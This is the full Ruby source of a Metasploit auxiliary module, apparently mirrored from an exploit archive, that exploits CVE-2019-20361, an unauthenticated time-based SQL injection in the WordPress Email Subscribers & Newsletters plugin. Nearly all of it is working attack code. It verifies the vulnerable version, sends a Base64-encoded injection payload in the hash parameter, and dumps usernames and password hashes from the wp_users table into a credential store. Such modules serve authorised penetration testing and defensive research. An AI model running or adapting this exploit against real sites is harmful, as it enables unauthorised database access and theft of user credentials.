Exploit for WordPress Email Subscribers And Newsletter Hash SQL Injection Scanner CVE-2019-20361

## https://sploitus.com/exploit?id=PACKETSTORM:181202
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::SQLi  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress Email Subscribers and Newsletter Hash SQLi Scanner',  
'Description' => %q{  
Email Subscribers & Newsletters plugin contains an unauthenticated timebased SQL injection in  
versions before 4.3.1. The hash parameter is vulnerable to injection.  
},  
'Author' => [  
'h00die', # msf module  
'red0xff', # sqli libs in msf  
'Wordfence' # blog post says team, no individual(s) called out for discovery  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'EDB', '48699' ],  
[ 'CVE', '2019-20361' ],  
[ 'URL', 'https://www.wordfence.com/blog/2019/11/multiple-vulnerabilities-patched-in-email-subscribers-newsletters-plugin/' ]  
],  
'Actions' => [  
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
},  
'DefaultAction' => 'List Users',  
'DisclosureDate' => '2019-11-13'  
)  
)  
register_options [  
OptInt.new('COUNT', [false, 'Number of users to enumerate', 1])  
]  
end  
  
def run_host(ip)  
unless wordpress_and_online?  
fail_with Failure::NotVulnerable, 'Server not online or not detected as wordpress'  
end  
  
checkcode = check_plugin_version_from_readme('email-subscribers', '4.3.1')  
unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)  
fail_with Failure::NotVulnerable, 'Email Subscribers and Newsletter version not vulnerable'  
end  
print_good('Vulnerable version of Email Subscribers and Newsletter detected')  
  
guid = Rex::Text.rand_guid  
email = Rex::Text.rand_mail_address  
  
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|  
data = %|{"contact_id":"100','100','100','3'),('1594999398','1594999398','1',(1) AND #{payload},'100','100','3'),|  
data << %|('1594999398','1594999398','1','100","campaign_id":"100","message_id":"100","email":"#{email}","guid":"#{guid}","action":"open"}|  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path),  
'vars_get' => {  
'hash' => Base64.strict_encode64(data),  
'es' => 'open'  
}  
})  
fail_with Failure::Unreachable, 'Connection failed' unless res  
end  
unless @sqli.test_vulnerable  
fail_with Failure::PayloadFailed, "#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay."  
end  
  
columns = ['user_login', 'user_pass']  
results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])  
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)  
results.each do |user|  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: user[0],  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),  
private_data: user[1],  
service_name: 'Wordpress',  
address: ip,  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
table << user  
end  
print_good(table.to_s)  
end  
end